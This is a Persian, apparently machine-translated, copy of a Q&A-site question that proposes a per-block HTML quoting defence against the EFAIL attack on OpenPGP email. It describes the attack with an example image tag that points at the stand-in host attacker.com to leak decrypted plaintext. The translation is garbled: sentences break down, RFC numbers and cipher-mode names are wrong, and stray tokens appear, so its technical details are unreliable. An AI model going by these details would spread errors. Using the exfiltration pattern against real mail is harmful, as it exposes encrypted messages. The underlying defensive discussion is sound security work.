مدیران: لطفا توجه داشته باشید که این یک نسخه از (آیا این یک حفاظت ساده در برابر EFAIL نیست؟)
زیرا استراتژی متفاوت است که در ابتدای هر متن ساده به عنوان یک بلوک واحد رمزگذاری می شود.
Background
تهدید امنیتی EFAIL از اجرای ناقص استاندارد OpenPGP RFC0448 سوء استفاده می کند. بعضی توضیحات بسیار مختصر در زیر آمده است.
در برخی از تاریخ های محدود در (امیدوارم) آینده ای نزدیک، اکثر مشتری های ایمیل بیش از کاربران GnuPG یک راه اندازی سیستم ایمنی خواندن EFAIL داشته باشند، اگر قبلا آنها را انجام ندهند. استاندارد OpenPGP به شدت اجرا خواهد شد.
با این حال، وضعیت ارسال یک پیام مخفی خیلی خوب نیست. هیچ راهی برای تضمین اینکه خواننده / گیرنده نرم افزار و / یا تنظیمات خود را به روز کرده است وجود ندارد. به روز رسانی امنیتی به لحاظ آمار به طور یکسان اجرا نمی شود؛ همیشه لجباز هستند بنابراین، بدون هیچ گونه احتیاط اضافی اضافی، همیشه پیام پیام نویس / فرستنده پیام مخفی که توسط مهاجم EFAIL بخاطر خواننده با یک تنظیم ناامن EFAIL خوانده می شود وجود دارد.
بنابراین در یک روش بالقوه وجود دارد که اجازه می دهد تا ارسال امن بدون در نظر گرفتن اینکه آیا خواننده دارای تنظیم غیر ایمن EFAIL بود یا خیر.
روش پیشنهادی
توضیحات مختصر و ساده از حمله:
هر کدام و هر بلوک رمزگذاری شده B از پیام رمزگذاری شده می تواند توسط داده های رمزگذاری شده psuedo تروجان قرار داده شود تا یک پیام رمزگذاری شده چند بلوک ABC را فراهم کند. قطعات A و C به صورت هوشمندانه انتخاب می شوند، به طوری که وقتی ABC رمزگشایی می شود، پیامی از شکل را ارائه می دهد:
![](http://attacker.com/"[...][block)
که نحو معتبر HTML با یک img برچسب، یک ویژگی src و یک مقدار مربوطه است که URL معتبر است. متن رمز گشایی رمزگذاری شده بلوک B در آدرس URL پس از آدرس معتبر مهاجم تعبیه شده است.
بسته به برنامه نویسی و تنظیمات ایمیل مشتریان خواننده، سرویس گیرنده ایمیل به طور خودکار درخواست HTTP را به آدرس URL ارسال می کند ، باعث شده است که متن ساده B به مهاجم منتقل شود.
این توضیح بیش از حد ساده تر شده است، که ظرفیت استراتژی EFAIL را غلط و غلبه می دهد. از این رو کافی است که یک استراتژی کاهش EFAIL نشان داده شود که این توضیح بیش از حد ساده را شکست می دهد.
مهم: یک بلوک رمزگذاری یک اصطلاح فنی خاص است که به الگوریتم کدگذاری بلوک CBF اشاره دارد در RFC4880 13.9 حالت OpenPGP CFB. بلوک B دارای اندازه ثابت است (16 بایت برای تمام رمزهای AES)، و محدوده بلوک B در زمان رمزگذاری ثابت می شوند. مهاجم هیچ کنترلی بر انتخاب مرزهای بلوک ندارد و نمی تواند آنها را تغییر دهد.
ابهام با استفاده از نحو HTML
از آنجا که هر بلوک آسیب پذیر است، این راه حل به صورت جداگانه محافظت از هر بلوک را به طور کامل به عنوان بخش ارزش یک ویژگی HTML این ممکن است به این دلیل که مهاجم محدود به تقسیم پیام در کنار محدودیت های بلوک رمز شده موجود است.
راه حل بسیار ساده است. متن ساده که در یک بلوک رمزگذاری می شود به دو بخش تقسیم می شود. این بخش اول رشته مبهوت کننده o است و قسمت دوم پیام m است. انتخاب o مانع از m از ویژگی ویژگی های مهاجم است
به طور خاص، رشته obfuscating o باید حداقل سه کاراکتر تک نقل قول (')، نقل قول دو (و) و فضای () این به اندازه کافی برای خاتمه بسته شدن ویژگی HTML و حفاظت از پیام m است. این توسط مشخصات HTML تعیین شده است
شما می توانید بازی را با مهاجمین انتخاب کنید که شروع به تعویض در این مثال سندبلاست Try jsoup (https://try.jsoup.org/٪7E_nyXks5PuAs-zJeek8CVhpuAvtI)
هنگامی که توسط کاربر در قالب خام خود رمزگشایی شود، پیام کل قابل خواندن انسان خواهد بود. اما کمی زشت است، زیرا حاوی رشته مبهم است o ، اما از EFAIL امن خواهد بود.
این روش نیازمند فشرده سازی قبل از رمزگذاری نیست، زیرا این امر مرزهای بلوک را خراب می کند.
قابل توجه است که محققان احتمال استفاده از د محدود کننده ها به عنوان یک استراتژی کاهش در خلاصه آنلاین خود. با این حال، می توان فرض کرد که آنها فقط موارد محرمانه را با توجه به مرزهای بلوک رمزگذاری قرار نمی دهند.
سؤال
آیا شکل دیگری از رشته های HTML وجود دارد که توسط مهاجم برای غلبه بر پیشگیری از EFAIL پیشنهادی و اجازه دادن به انفیلتراسیون را می دهد؟
این یک بحث باز پایان نیست که به
- مسائل مربوط به پیاده سازی
- مسائل ارگونومیک
- حملات دیگر با استفاده از فرایند HTML مبتنی بر نیست [19659026] ضعف غیر EFAIL معرفی شده بدون فشرده سازی و / یا کاراکترهای ناشناخته کمتر در هر بلوک رمزگذاری. (این ممکن است محدود شود اضافه کردن کاراکترهای تصادفی اضافی به رشته obfuscating)
در غیر این صورت این سوال مجاز نمی باشد. (با این حال، چنین نظریات به عنوان طول نظرات محدود می شود خوش آمدید.)
بنابراین پاسخ ها باید محدود است که نشان می دهد که این روش می تواند شکسته شود.
این را می توان پرش کرد: زمینه های اضافی در مورد آسیب پذیری EFAIL
بهره برداری ناشی از اجرای MDC نیست (کد تشخیص اصلاح) همانطور که در بخش RFC4880-5.14 مشخص شده است. در مورد اجرای GnuPG OpenPGP، داده ها ممکن است در یک جریان بازگردانده شوند و در انتهای جریان یک مقدار برای نشان دادن اینکه آیا یک کد معتبر MDC تایید داده یافت می شود، بازگشت می شود. متاسفانه، بسیاری از پیاده سازی های ایمیل، ارزش آن را بررسی نمی کنند و یا پردازش داده ها را قبل از چک کردن آن ارزش.
مرجع
این روش و اجرای کاهش EFAIL در اینجا کمی عمیق در اینجا مورد بحث قرار گرفته است.
